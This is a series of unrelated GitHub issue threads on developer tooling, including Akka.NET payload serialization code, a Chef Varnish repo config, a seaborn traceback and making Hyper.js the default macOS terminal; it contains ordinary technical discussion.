Install Copilot, which auto-installs Chat
Uninstall Copilot Chat
🐛 Copilot also gets uninstalled

No changes planned in extension land for this. Closing as out of scope.
And this can be tackled by changing the relationship between those two extensions if needed.

We closed this issue because we don't plan to address it in the foreseeable future. If you disagree and feel that this issue is crucial: we are happy to listen and to reconsider.
If you wonder what we are up to, please see our roadmap and issue reporting guidelines.
Thanks for your understanding, and happy coding!


Serialization payload

If there are multiple nodes with different roles and assemblies in the cluster.
Currently Reminder can only accept a payload where the type is known to every node.
Else reminder could not receive and/or deserialize the payload message.
But for the functionality of the reminder service it is not important to deserialize it.
Only the receiving node should be able to deserialize the payload back.

@Zetanova underneat the Reminder is just an actor. Like any actor it communicates by sending messages. If any recipient actor is supposed to receive the message from reminder, the details of serialization/deserialization must be known to both sides (just like when two actors talk with each other).
If you want to send serializer-agnostic message, you can serialize/deserialize it explicitly like:
var message = new MyMessage();
var payload = system.Serialization.FindSerializerFor(message).ToBytes(message, typeof(MyMessage));
var task = new Reminder.Schedule(taskId, recipient.Path, payload, delay);

// then in the recipient actor
class Recipient : ReceiveActor
{
    public Recipient()
    {
        var serializer = Context.System.Serialization.FindSerializerForType(typeof(MyMessage));
        Receive<byte[]>(raw =>{
            var messager = (MyMessage)serializer.FromBytes(raw);
        });
    }
}

I thought about some kind of surrogate type defined by akka.net
Is there somekind of mechanismus to lazy deserialize a received massage?

In theory you could do some kind of wrapper message, that's internally uses ISurrogate/ISurrogated mechanism to do late serialization, but that's only shifting the problem - instead of knowing how to deserialize your destination message, now you need to know how to deserialize its wrapper.

It looks like a generic problem that should be resolved over the akka.net base libery
The gateway pattern would profit from a lazy deserialized payload-message-type too.
I will investigate more.

I have made now one payload message type.
But what is missing is an auto unwarp-feature in akka for dual-pass a message
with somekind of interface-flag like "IPayload"
This could then be used for sender defined remote success/failure messages
or just a muti hope/forward route
or in Akka.Persistence.Reminders as Payload
Example of auto unwarp/dual-pass in ActorBase:
internal protected virtual bool AroundReceive(Receive receive, object message)
{
    var wasHandled = receive(message);

    //try to unwarp payload message
    if(!wasHandled && message is IPayload payload)
    {
        if(payload.TryDeserialize(var pmsg))
        {
             wasHandled = receive(pmsg);
        }
    }
    if(!wasHandled)
    {
         Unhandled(message);
    }
    return wasHandled;
}

Payload class
public sealed class Payload : ISurrogated, IPayload
    {
        sealed class Surrogate : ISurrogate
        {
            public readonly int SerializerId;

            public readonly string Manifest;

            public readonly byte[] Data;

            public Surrogate(byte[] data, int serializerId, string manifest)
            {
                SerializerId = serializerId;
                Manifest = manifest;
                Data = data;
            }

            ISurrogated ISurrogate.FromSurrogate(ActorSystem system)
            {
                return new Payload(this, system);
            }

            public object Deserialize(ActorSystem system)
            {
                return system.Serialization.Deserialize(Data, SerializerId, Manifest);
            }
        }

        Surrogate _surrogate;
        ActorSystem _system;
        object _content;

        public Object Content => _content ?? (_content = _surrogate?.Deserialize(_system));

        public Payload(Object content)
        {
            _content = content;
        }

        private Payload(Surrogate surrogate, ActorSystem system)
        {
            _surrogate = surrogate;
            _system = system;
        }

        ISurrogate ISurrogated.ToSurrogate(ActorSystem system)
        {
            if(_surrogate is null)
            {
                String manifest;
                Byte[] data;
                int serializerId;

                switch (system.Serialization.FindSerializerFor(Content))
                {
                    case SerializerWithStringManifest serial:
                        manifest = serial.Manifest(Content);
                        data = serial.ToBinary(Content);
                        serializerId = serial.Identifier;
                        break;
                    case Serializer serial when serial.IncludeManifest:
                        manifest = Content.GetType().TypeQualifiedName();
                        data = serial.ToBinary(Content);
                        serializerId = serial.Identifier;
                        break;
                    case var serial:
                        manifest = String.Empty;
                        data = serial.ToBinary(Content);
                        serializerId = serial.Identifier;
                        break;
                }

                _surrogate = new Surrogate(data, serializerId, manifest);
            }

            return _surrogate;
        }

        public bool TryDeserialize(out object value)
        {
            try
            {
                value = Content;
                return true;
            }
            catch (SerializationException _)
            {
                value = null;
                return false;
            }
        }
    }

@Zetanova I think, that the right place to include feature like that would be either in core akka projects or directly as serializer feature.

@Horusiath Yes, i thinking of the same, posted it know into the https://github.com/akkadotnet/akka.net/issues/3811


my

@ppapag I have to close this request without merging, because you requested to add a non-existent domain to this repository: Host uniwa.academy not found: 3(NXDOMAIN) Please ensure that you are familiar with this repository rules located at the bottom of this page and submit a new request with the correct information. Thank you for your understanding!


Create / Update / Preview pages are not automatically created for manually built plugins

If I manually develop a plugin, and e.g. create only the "create" page for a controller which has implemented the form and list behaviors, and then open the plugin in the builder, the builder wont recognize that the "update" and "preview" pages are missing and therefore wont create them automatically. It seems that the builder plugin creates "create", "update" and "preview" pages only for the plugins created with it.

That's correct - Builder creates behaviour view files only when the behaviour is created by Builder. That's one of the limitations that allow us to keep Builder simple and maintainable within a CMS project.


[bug] C++ code coverage: fix broken paths in codecov

Need to declare the mapping between the path and project root.
https://docs.codecov.io/docs/fixing-paths
See e.g. https://codecov.io/gh/ros-tooling/system_metrics_collector/tree/master/ros2_ws/src/system_metrics_collector/system_metrics_collector/src/moving_average_statistics => types.hpp

Need to remove ros-tooling/codecov-action and use https://github.com/codecov/codecov-action instead if possible. We can pass a codecov.yml to this action which should fix the problem at hand.

FYI @mm318

https://github.com/ros-tooling/system_metrics_collector/pull/33


Philips Hue 1600lm bulb incorrect model

I have a Hue white ambiance 1600lm bulb. It looks to be the same device as LTA011 on the website. I have mine setup in zha, and it appears as LTA012 in the dashboard. Is this possibly a new model revision?

Seems to be a very new model

Should I add it using the google form? I wasn’t sure since it seems functionally identical to LTA011.


Comply with RFC 2026 about RFC 7049bis

RFC 2026 says,

Under no circumstances should an Internet-Draft be referenced by any paper, report, or Request-for-Proposal, nor should a vendor claim compliance with an Internet-Draft.

Remove 7049bis from statements about standards compliance until it is approved.
When mentioning 7049bis for extras beyond compliance, add the word "latest" in front of it.  E.g. "Decoding also checks for all required well-formedness errors described in the latest RFC 7049bis, ..."
Closes #57

Codecov Report

Merging #58 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #58   +/-   ##
=======================================
  Coverage   97.41%   97.41%
=======================================
  Files           6        6
  Lines        1352     1352
=======================================
  Hits         1317     1317
  Misses         23       23
  Partials       12       12

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update acaec05...97796f5. Read the comment docs.


Centos 6.6 Repo is incorrect

What Chef installs w/ this cookbook:
[varnish]
name=Varnish 3.0.7 repo (6.6 - $basearch)
baseurl=http://repo.varnish-cache.org/redhat/varnish-3.0.7/el6/
enabled=1
gpgcheck=0
gpgkey=http://repo.varnish-cache.org/debian/GPG-key.txt
sslverify=true

This produces 404 errors that the package does not exist.  By running the rpm recommend by Varnish here (https://www.varnish-cache.org/installation/redhat) a yum.repos.d/varnish.repo is produced like this:
[varnish-3.0]
name=Varnish 3.0 for Enterprise Linux el6 - $basearch
baseurl=http://repo.varnish-cache.org/redhat/varnish-3.0/el6/$basearch
enabled=1
gpgcheck=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-VARNISH

This then allows the installation of Varnish 3.0.7 to succeed.  I will work on a pull request for this.

Hi there -- using the varnish3-centos-66 test suite from this cookbook, I get /etc/yum.repos.d/varnish.repo:
# This file was generated by Chef
# Do NOT modify this file by hand.

[varnish]
name=Varnish 3.0 repo (6.6 - $basearch)
baseurl=http://repo.varnish-cache.org/redhat/varnish-3.0/el6/
enabled=1
gpgcheck=0
gpgkey=http://repo.varnish-cache.org/debian/GPG-key.txt
sslverify=true

Perhaps you're using a recipe I'm not. Could you share how you're invoking this cookbook? Maybe you're using different attributes with the LWRP, or calling the recipe differently?

Actually, I need to close this.  There's a recipe in there (::repo) to include before you call the main varnish recipe that will put the correct repo's in place.


No unclassified

The current version of kraken-biom does not produce an unclassified lineage or empty lineage for unclassified reads in a kreport.

Should be fixed in https://github.com/casperp/kraken-biom/commit/40f1b40923e9fa0da70178adbb382bff58e7cef4.
Now tests should be added and documentation and some testing in qiime, phyloseq and phinch

Test finished and merged in master. #2
TODO

Issue in forked repo
Merge request for current master to fork


Website shows a non working example

On the project's website the following line:
 <mq-layout :mq="['sm', 'lg']">
is shown without a colon next to "mq". This does not match the GitHub documentation and does not work.

This seems  to be fixed on GitHub, but NPM is still showing the previous incorrect version.

The mismatch I am talking about can be found here https://alexandrebonaventure.github.io/vue-mq/


Error: TypeError: ufunc 'isfinite' not supported for the input types

I am getting error when running test files,
python -m nkululeko.explore --config tests/exp_agedb_explore_data.ini

Output:
DEBUG explore: running exp_agedb_explore from config tests/exp_agedb_explore_data.ini, nkululeko version 0.83.0
DEBUG experiment: value for type not found, using default: audformat
DEBUG dataset: emodb: loading from ./data/emodb/emodb
DEBUG dataset: emodb: loading tables: []
DEBUG dataset: value for files_tables not found, using default: ['files']
DEBUG dataset: value for label not found, using default: age
DEBUG dataset: emodb: loaded with 535 samples: got targets: True, got speakers: True (10), got sexes: True
DEBUG datafilter: emodb: limited samples to 20, reduced samples from 535 to 20
DEBUG experiment: target: age
DEBUG experiment: Target labels (from config): ['u29', 'ü29']
DEBUG experiment: loaded databases emodb
DEBUG dataset: splitting database emodb with strategy random
DEBUG dataset: value for test_size not found, using default: 20
DEBUG dataset: emodb: [16/4] samples in train/test
DEBUG dataset: emodb: 4 samples in test and 16 samples in train
DEBUG experiment: 3 speakers in test and 8 speakers in train
DEBUG explore: train shape : (16, 6), test shape:(4, 6)
DEBUG plots: value for dist_type not found, using default: hist
DEBUG plots: plotting ['gender', 'duration']
Traceback (most recent call last):
  File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/home/bagus/github/nkululeko/nkululeko/explore.py", line 75, in <module>
    main(cwd)  # use this if you want to state the config file path on command line
  File "/home/bagus/github/nkululeko/nkululeko/explore.py", line 68, in main
    expr.analyse_features(needs_feats)
  File "/home/bagus/github/nkululeko/nkululeko/experiment.py", line 516, in analyse_features
    self.plot_distribution(df_labels)
  File "/home/bagus/github/nkululeko/nkululeko/experiment.py", line 315, in plot_distribution
    plot.plot_distributions(df_labels)
  File "/home/bagus/github/nkululeko/nkululeko/plots.py", line 197, in plot_distributions
    ax, caption = self._plot2cont_cat(
  File "/home/bagus/github/nkululeko/nkululeko/plots.py", line 258, in _plot2cont_cat
    ax = sns.lmplot(data=df, x=cont1, y=cont2, hue=cat)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/regression.py", line 651, in lmplot
    facets.map_dataframe(regplot, x=x, y=y, **regplot_kws)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/axisgrid.py", line 825, in map_dataframe
    self._facet_plot(func, ax, args, kwargs)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/axisgrid.py", line 854, in _facet_plot
    func(*plot_args, **plot_kwargs)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/regression.py", line 775, in regplot
    plotter.plot(ax, scatter_kws, line_kws)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/regression.py", line 384, in plot
    self.lineplot(ax, line_kws)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/seaborn/regression.py", line 442, in lineplot
    ax.fill_between(grid, *err_bands, facecolor=fill_color, alpha=.15)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/matplotlib/__init__.py", line 1446, in inner
    return func(ax, *map(sanitize_sequence, args), **kwargs)
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/matplotlib/axes/_axes.py", line 5425, in fill_between
    return self._fill_between_x_or_y(
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/matplotlib/axes/_axes.py", line 5330, in _fill_between_x_or_y
    ind, dep1, dep2 = map(
  File "/home/bagus/github/nkululeko/.env/lib/python3.8/site-packages/numpy/ma/core.py", line 2360, in masked_invalid
    res = masked_where(~(np.isfinite(a)), a, copy=copy)
TypeError: ufunc 'isfinite' not supported for the input types, and the inputs could not be safely coerced to any supported types according to the casting rule ''safe''

I run it again but the error was gone, I don't no why. Maybe updating numpy.

@felixbur I reopened this issue since I can reproduce this issue. This issue gone when I run for second time.
Steps to reproduce:

Remove all results inside test.
 rm -fr tests/results

Run it once, it will fail.
 python -m nkululeko.explore --config tests/exp_agedb_explore_data.ini

Run for the second time, it will success and done.
 python -m nkululeko.explore --config tests/exp_agedb_explore_data.in

thanks, I'll check it out


Setup Hyper.js by default on OS X

Hello I am trying to setup Hyper.js by default on OS X 10.12.6. I am trying many app Magic launch and a bash script Nothing works for me.
Someone has an idea?

by default

What do you mean?

I mean when for example: If  I open one ssh connection from digital ocean or other its my old terminal by default. I Want Hyper.js for all .

Thanks

So you want hyper to register as a url handler for ssh?

Yes - how can I get the OS (mac) to use Hyper.app instead of Terminal.app by default?

Try http://www.rubicode.com/Software/RCDefaultApp/

This is now possible with our canary (upcoming v2). Thanks to: https://github.com/zeit/hyper/pull/2516

@chabou can we get a better guide on how to enable hyper.js to be the default terminal app?

I was googling on this but couldn't find a proper answer. I finally figured it out myself. Hope this will help.
There isn't a way in MacOS system preferences to configure the default app for terminal .command files.
The trick here is to create a .command file and set the app default for that file extension to be the hyper app.

Create a .command file in your hyper/item/terminal

I'm using Vim to create and edit the file. You may use the touch prompt

Open the folder in finder

Right click on the file and click on Get Info

Under the Get Info tab, change to Hyper app (dropdown > others > enable all applications)

After selecting the hyper app, be sure to click on Change All under the Get Info tab.

Now hyper app is set as default on OS X!

Works fine, here! Thank you :)

@nazmifeeroz What Theme / Plugin do you using?
Your Terminal looks very nice!

@Skarf4U
thanks. i used zsh with powerline to configure my terminal. i have a repo with steps you can follow, https://github.com/nazmifeeroz/zshrc-config